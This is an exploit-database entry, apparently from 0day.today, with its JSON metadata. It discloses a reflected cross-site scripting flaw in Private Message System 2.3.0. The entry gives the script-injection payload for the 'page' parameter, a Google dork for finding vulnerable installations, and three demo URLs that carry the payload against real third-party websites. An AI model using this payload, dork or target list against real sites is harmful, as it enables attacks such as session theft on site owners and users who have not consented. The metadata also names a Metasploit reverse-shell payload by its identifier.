ID 1337DAY-ID-19994
Type zdt
Reporter GoLd_M
Modified 2012-12-17T00:00:00
Description
Exploit for php platform in category web applications
# Exploit Title: Private Message System 2.3.0 <= XSS Vulnerability
# Date: 17/12/2012
# Author: GoLd_M (Libyan) Page FaceBook (http://www.facebook.com/pages/وَذَكِّـــرْ/337878286310383)
# Vendor: http://sourceforge.net/projects/pmsys/
# Version: 2.3.0
# Category:: XSS Vulnerability
# Google Dork: PMS 2.3.0 © PMS Dev Team 2001 - 2012.
# Tested on: Xp SP 2
# Ex :[Private Message System 2.3.0]/index.php?page="><script>alert(1337);</script>
# Test : http://upload.traidnt.net/upfiles/4ul41244.jpg
# Demo:
# 01 :http://ptl.su/pms/index.php?page="><script>alert(1337);</script>
# 02 :http://qgcomedyshow.freehostia.com/community/mail/index.php?page="><script>alert(1337);</script>
# 03 :http://anti-spam-man.com/pmsys/pmsys-2.3.0/index.php?page="><script>alert(1337);</script>
# 0day.today [2018-04-04] #
{"id": "1337DAY-ID-19994", "lastseen": "2018-04-04T15:36:23", "viewCount": 10, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": -0.6, "vector": "NONE", "modified": "2018-04-04T15:36:23", "rev": 2}, "dependencies": {"references": [{"type": "zdt", "idList": ["1337DAY-ID-26411"]}, {"type": "metasploit", "idList": ["MSF:PAYLOAD/OSX/ARMLE/EXECUTE/REVERSE_TCP"]}], "modified": "2018-04-04T15:36:23", "rev": 2}, "vulnersScore": -0.6}, "type": "zdt", "sourceHref": "https://0day.today/exploit/19994", "description": "Exploit for php platform in category web applications", "title": "Private Message System 2.3.0 <= XSS Vulnerability", "cvelist": [], "sourceData": "# Exploit Title: Private Message System 2.3.0 <= XSS Vulnerability\r\n# Date: 17/12/2012\r\n# Author: GoLd_M (Libyan) Page FaceBook (http://www.facebook.com/pages/\u0648\u064e\u0630\u064e\u0643\u0651\u0650\u0640\u0640\u0640\u0631\u0652/337878286310383)\r\n# Vendor: http://sourceforge.net/projects/pmsys/\r\n# Version: 2.3.0\r\n# Category:: XSS Vulnerability\r\n# Google Dork: PMS 2.3.0 \u00a9 PMS Dev Team 2001 - 2012. \r\n# Tested on: Xp SP 2\r\n# Ex :[Private Message System 2.3.0]/index.php?page=\"><script>alert(1337);</script>\r\n# Test : http://upload.traidnt.net/upfiles/4ul41244.jpg\r\n# Demo:\r\n# 01 :http://ptl.su/pms/index.php?page=\"><script>alert(1337);</script>\r\n# 02 :http://qgcomedyshow.freehostia.com/community/mail/index.php?page=\"><script>alert(1337);</script>\r\n# 03 :http://anti-spam-man.com/pmsys/pmsys-2.3.0/index.php?page=\"><script>alert(1337);</script>\n\n# 0day.today [2018-04-04] #", "published": "2012-12-17T00:00:00", "references": [], "reporter": "GoLd_M", "modified": "2012-12-17T00:00:00", "href": "https://0day.today/exploit/description/19994"}
{}